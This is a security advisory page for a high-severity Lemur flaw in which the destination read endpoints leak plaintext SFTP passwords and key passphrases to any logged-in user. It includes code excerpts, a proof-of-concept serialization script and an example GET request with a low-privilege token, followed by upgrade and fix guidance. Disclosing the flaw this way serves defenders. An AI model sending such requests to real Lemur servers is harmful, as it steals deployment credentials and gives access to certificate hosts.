GHSA-6c8m-q6g9-vrw3: High severity pip/lemur vulnerability

Published Aug 18, 2026
·
Updated

Summary Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @adminpermission.require(httpexception=403), but the two read handlers are protected only by loginrequired (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py python class DestinationsList(AuthenticatedResource): @validateschema(None, destinationsoutputschema) def get(self): # <-- only loginrequired; no admin/read-only gate ... return service.render(args)

@validateschema(destinationinputschema, destinationoutputschema) @adminpermission.require(httpexception=403) # write path IS gated def post(self, data=None): ...

class Destinations(AuthenticatedResource): @validateschema(None, destinationoutputschema) def get(self, destinationid): # <-- only loginrequired; no admin/read-only gate return service.get(destinationid)

@validateschema(destinationinputschema, destinationoutputschema) @adminpermission.require(httpexception=403) # write path IS gated def put(self, destinationid, data=None): ...

@adminpermission.require(httpexception=403) # write path IS gated def delete(self, destinationid): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py python class DestinationOutputSchema(LemurOutputSchema): ... options = fields.List(fields.Dict()) # raw option dicts, incl. {"name":"password","value":...}

@postdump def fillobject(self, data): if data: data["plugin"]["pluginOptions"] = data["options"] # copied verbatim into plugin block too ... return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemursftp/plugin.py python """ Passwords are not encrypted and stored as a plain text. """ options = [ ... {"name": "password", "type": "str", "required": False, ...}, # plaintext {"name": "privateKeyPass", "type": "str", "required": False, ...}, # plaintext ... ]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

python from marshmallow import fields, postdump, Schema

class PluginOutputSchema(Schema): # verbatim from lemur/schemas.py id = fields.Integer(); label = fields.String(); description = fields.String() active = fields.Boolean(); options = fields.List(fields.Dict(), dumpto="pluginOptions") slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py id = fields.Integer(); label = fields.String(); description = fields.String() active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema) options = fields.List(fields.Dict()) @postdump def fillobject(self, data): if data: data["plugin"]["pluginOptions"] = data["options"] for option in data["plugin"]["pluginOptions"]: if "export-plugin" in option["type"]: option["value"]["pluginOptions"] = option["value"]["pluginoptions"] return data

class Destination: # a stored SFTP destination row id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True options = [ {"name": "host", "type": "str", "value": "10.0.5.20"}, {"name": "user", "type": "str", "value": "deploy"}, {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"}, {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"}, ] plugin = {"slug": "sftp-destination", "title": "SFTP", "description": "Allow the uploading of certificates to SFTP", "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data import json; print(json.dumps(out)) assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out) assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions: json {"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"}, {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...], "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...], "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT: GET /api/1/destinations/4 HTTP/1.1 Host: lemur.example.com Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK { "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with adminpermission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Affected Software

1 affected componentFixes available
pip/lemur<1.9.3
1.9.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lemur to a version that resolves this vulnerability.

    Fixed in 1.9.3
  2. Configuration

    Gate the destination read endpoints GET /api/1/destinations and GET /api/1/destinations/<id> with the same @admin_permission.require(http_exception=403) authorization used by the write handlers (POST/PUT/DELETE), instead of only relying on login_required/AuthenticatedResource.

    Lemur destinations GET handlers (Destination list and destination read) admin_permission.require gating on GET /api/1/destinations and GET /api/1/destinations/<id> = Enable admin_permission.require(http_exception=403) for read handlers
  3. Configuration

    In DestinationOutputSchema (lemur/destinations/schemas.py), redact option values before serialization for secret-bearing destination plugin options, so DestinationOutputSchema does not emit plaintext credentials in response JSON for GET destinations.

    DestinationOutputSchema / Destination serialization (lemur/destinations/schemas.py) Redaction of secret-bearing option values in DestinationOutputSchema serialization = Redact values for options whose type/name marks them as secret (e.g., SFTP password and privateKeyPass)

Event History

Aug 18, 2026
Advisory Published
via GitHub·08:51 PM
Data Sourced
via GitHub·08:51 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can retrieve the exposed destination options?

Any authenticated Lemur user can access the affected destination read endpoints, including users assigned a read-only role. Exposure is most significant where destination plugins store secrets in their option values, such as the built-in SFTP destination plugin.

2

What access is required to exploit this issue?

An attacker needs valid Lemur authentication but does not need administrative privileges, user interaction, or access to write endpoints. They can request GET /api/1/destinations or GET /api/1/destinations/<id> to receive option values.

3

What sensitive data may be exposed and what could it enable?

For SFTP destinations, the returned values can include cleartext password and privateKeyPass options. Those credentials may then be used to authenticate to the remote SFTP server configured as the destination.

4

What remediation is identified in the available information?

The issue was addressed in the v1.9.3 release. The referenced fix is commit 751c970ec42a53d00ecc9c6a96e0e51b6737ae53.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203